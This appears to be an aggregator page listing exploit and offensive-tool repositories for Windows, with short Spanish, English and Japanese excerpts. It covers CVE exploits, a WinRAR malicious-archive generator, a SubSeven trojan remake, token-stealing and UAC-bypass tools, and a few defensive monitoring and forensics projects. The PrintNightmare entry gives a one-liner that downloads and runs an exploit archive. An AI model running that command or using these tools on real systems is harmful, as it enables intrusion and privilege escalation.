exploits-forsale-collateral-damage

collatpayload aquí el código solsticeartifacts feat:Añadido servidor de payload solstice y Gamescript de carga en red .gitignore añadir gitignore LICENSE Commit inicial README.md feat:Añadido servidor de payload solstice y Gamescript de carga en red collatpayload.sln aquí el código ntdll.def aquí...

CVE-2025-5548

🛠️ Configuración del Entorno Plataforma objetivo: Windows Esta guía detalla todas las herramientas necesarias para realizar el análisis de vulnerabilidades y el fuzzing del binario. Sigue los pasos en orden para asegurarte de que todo esté configurado correctamente. 🐍 Python 3 Descarga:...

CVE-2025-8088

CVE-2025-8088 – WinRAR Exploit Este repositorio contiene un generador de archivos RAR maliciosos que abusa de la vulnerabilidad CVE-2025-8088 en WinRAR, permitiendo que un archivo aparentemente legítimo ejecute un payload cuando la víctima lo extrae. Comando recomendado root@kitploit: python3...

CVE-2025-8088

Inmersión Técnica: CVE-2025-8088 - El Recorrido de Ruta Resiliente Descargo de responsabilidad: Este contenido es solo para fines educativos y de investigación. No utilice esta información para actividades maliciosas. Hoy realizamos una inmersión profunda en una fascinante vulnerabilidad de...

CVE-2021-36934-export-shadow-volume-POC

CVE-2021–36934 El hash derivado se utiliza para falsificaciones como PTH y tickets. No se proporciona un análisis detallado aquí. Además, dado que se pueden obtener derechos de acceso a la mayoría de los archivos del sistema, debería haber más métodos de explotación además de este, incluidos los...

Evtx_Log_Browser

Evtx Log xml Browser Browse through Windows evtx event logs & export to xml Latest version ishere Dependencies: .NET Framework 4.8 Powershell Version: 5.1...

ida_bochs_windows

idabochswindows ネイティブBochsデバッガ上でIDA Proを使用したWindowsカーネルデバッグ用ヘルパースクリプト（PDBシンボルを含む） python3 + idapython 7.4 Bochsデバッガ: BochsデバッガGUI: 使い方 警告 : IDAを開く前に、環境変数 NTSYMBOLPATH をWindowsシンボルに設定する必要があります。例: root@kitploit: SRVC:\winsymbols "C:\Program Files\IDA Pro 7.7\cfg\dbgbochs.cfg" を編集します root@kitploit:...

magicNetdefs

magicNetdfs Reference https://github.com/Wh04m1001/DFSCoerce Usage Further updates are being considered; for now this only verifies the exploitability of the RPC method. Specific exploitation of the SYSTEM token is planned for later. Description Utilizes the MS-DFSNM protocol...

WTSRM

WTSRM - Writing Tiny Small Reliable Malware demo repository for my corresponding talk. Unhooks all Windows Dlls with \KnownDlls\ No CRT dependencies Small size Low entropy Random string encryption key thus no plaintext strings API hashing Hook detection Walks around hooks for initial unhooking on...

RIPPL

RIPPL Manipulating PPL protected processes without using a driver This tool implements a userland exploit to manipulate Windows PPL protected processes. The technique was initially discussed by James Forshaw a.k.a. @tiraniddo and Clément Labro a.k.a. @itm4n in the following blogposts. Blog post...

RunAsWinTcb

RunAsWinTcb Overview RunAsWinTcb uses an userland exploit to run a DLL with a protection level of WinTcb-Light. Overview of the vulnerability and the capabilites of an exploit can be found here: https://tastypepperoni.medium.com/running-exploit-as-protected-process-ligh-from-userland-f4c7dfe63387...

cs-token-vault

Token Vault BOF for Cobalt Strike This Beacon Object File BOF creates in-memory storage for stolen/duplicated Windows access tokens allow you to: Hot swap/re-use already stolen tokens without re-duplicating. Store tokens for later use in case of a person log out. Installation 1. Download the late...

zabbix-template-CVE-2020-1472

zabbix-template-CVE-2020-1472 Plantilla de Zabbix para monitorear eventos del Visor de eventos de Windows relacionados con la vulnerabilidad de elevación de privilegios de Netlogon - CVE-2020-1472. Monitorea los ID de evento 5827, 5828 y 5829...

PNCVE-Win10-20H2-Exploit

PrintNightmare-CVE-Win10-20H2-Exploit Para ejecutar este exploit en Windows: Ejecuta este oneliner: curl https://raw.githubusercontent.com/peckre/PNCVE-Win10-20H2-Exploit/main/Win10Exploit.zip -o Win10Exploit.zip & tar -xf Win10Exploit.zip & run.bat NOTA: Esto solo funcionará una vez por reinicio...

SubSeven

SubSeven Legacy "SubSeven Legacy is a complete remake of the infamous SubSeven Backdoor also known as Sub7, a popular remote access trojan from the late 90s. More information about the original Sub7 Backdoor can be found on the official Wikipedia page. Like the original Sub7 program, SubSeven...

Elevator

Description Elevator allows to bypass the UAC and spawn an elevated process with full administrator privileges. This is done by abusing the behaviour of the RPC server that implements the UAC feature, as demonstrated by James Forshaw in his article Calling Local Windows RPC Servers from .NET. The...

CVE-CVSS--CVE-2024-38063-IPv6-TCP-IP-Remote-Code-Execution-Analysis

🔐 CVE-2024-38063 — Análisis de Ejecución Remota de Código IPv6 TCP/IP 📌 Descripción del Proyecto Este proyecto presenta un análisis técnico y una demostración práctica de la vulnerabilidad crítica CVE-2024-38063 , divulgada por Microsoft durante el Patch Tuesday 13 de agosto de 2024. La...

CVE-2022-24481

CVE-2022-24481 win1021H219044.1620 win1121H222000.593 Información básica de compilación Versión de Windows SDK: 10.0 la última versión instalada Conjunto de herramientas de plataforma: Visual Studio 2022 v143 Estándar de lenguaje C++: Predeterminado Estándar ISO C++14...

CVE-2020-24089

CVE-2020-24089 Escalada de Privilegios en Windows Se descubrió un problema en ImfHpRegFilter.sys de IOBit Malware Fighter versión 8.0.2, que permite a atacantes locales provocar una denegación de servicio DoS. Enlace CVE - https://vulners.com/cve/CVE-2020-24089...

memory-forensic

memory-forensic A memory forensics toolkit that profiles Windows kernels itself — and is cross-checked, process-for-process, against Volatility 3. mem4n6 reads every common dump format LiME, AVML, ELF core, Windows crash dumps, hibernation files, VMware save-states, kdump, raw… and walks processe...